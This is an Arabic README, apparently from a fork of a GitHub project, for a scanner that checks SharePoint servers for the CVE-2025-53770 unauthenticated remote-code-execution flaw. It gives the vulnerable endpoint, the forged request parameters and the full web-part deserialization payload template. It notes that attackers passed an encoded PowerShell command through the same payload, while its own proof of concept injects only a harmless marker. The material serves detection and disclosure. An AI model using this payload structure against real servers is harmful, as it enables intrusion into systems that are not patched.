
ماسح ضوئي لثغرة SharePoint CVE-2025-53770 RCE zero day (fork من hazcod/CVE-2025-53770)
هذا ماسح ضوئي لـ ثغرة تنفيذ الأوامر عن بُعد غير المصادق عليها في SharePoint، والتي تم تخصيص الرقم CVE-2025-53770 لها. تم كتابة هذا الكود عن طريق الهندسة العكسية لحمولة تم رؤيتها في البرية.
استخدم على مسؤوليتك الخاصة، لست مسؤولاً عن أي تأثير سلبي قد يسببه ذلك.
يحاول استغلال الثغرة عن طريق حقن علامة في أداة ToolBox الخاصة بـ SharePoint. إذا تم العثور على هذه العلامة غير الضارة في استجابة خادم SharePoint، يتم وضع علامة على المضيف بأنه عرضة للخطر.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
أي شخص يقوم بتشغيل الإصدار المحلي من خادم SharePoint بدون KB5002768 & KB5002754.
من المفترض أن الثغرة تبني على ثغرة تم الكشف عنها سابقًا لـ SharePoint، وهي CVE-2025-49706.
عن طريق إرسال طلب HTTP POST إلى https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx مع حمولة مضغوطة بـ GZIP ومشفرة بـ BASE64، يمكنك تحقيق تنفيذ الأوامر عن بُعد كعملية تشغيل SharePoint.
معلمان مهمان هنا:
MSOTlPn_Uri: مسار مصدر التحكميتظاهر هذا بالإشارة إلى عنصر تحكم شرعي لـ SharePoint (AclEditor.ascx)، ويخدع SharePoint للسماح بتحرير جزء الويب.
يبدو أن هذه قيمة وهمية/مزيفة فقط لاجتياز التحقق.
تتضمن الحمولة الضارة الأصلية MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx، لكن لا يبدو أنها تُستخدم في هذه المرحلة.
MSOTlPn_DWP: تكوين جزء الويب.يحقن هذا المعلم توجيهات ASP.NET مخصصة (<%@ Register %>) وترميز من جانب الخادم (<Scorecard:ExcelDataSet>).
يحمل المعلم CompressedDataTable بيانات متسلسلة يتحكم فيها المهاجم (GZIP + base64)، مما يؤدي إلى تشغيل RCE.
تتبع هذه الحمولة هيكلًا معينًا:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
إذا كان هناك عنصر تحكم مثل Scorecard:ExcelDataSet وتم تعيين الخاصية CompressedDataTable الخاصة به، فسيتم إلغاء تسلسله مباشرة بواسطة محلل DWP الخاص بـ SharePoint.
يمكن أن تكون الحمولة نفسها مثيرة للاهتمام إلى حد ما، حيث يمكن أن تحتوي على System.DelegateSerializationHolder الذي يؤدي إلى RCE عن طريق إلغاء التسلسل.
أساءت الجهات التهديدية استخدام هذا لتمرير /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> في حمولتها لتحقيق تنفيذ الأكواد.
في حالتنا، نقوم بتمرير عنصر نائب ثابت فقط لإثبات قابلية الاستغلال؛
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>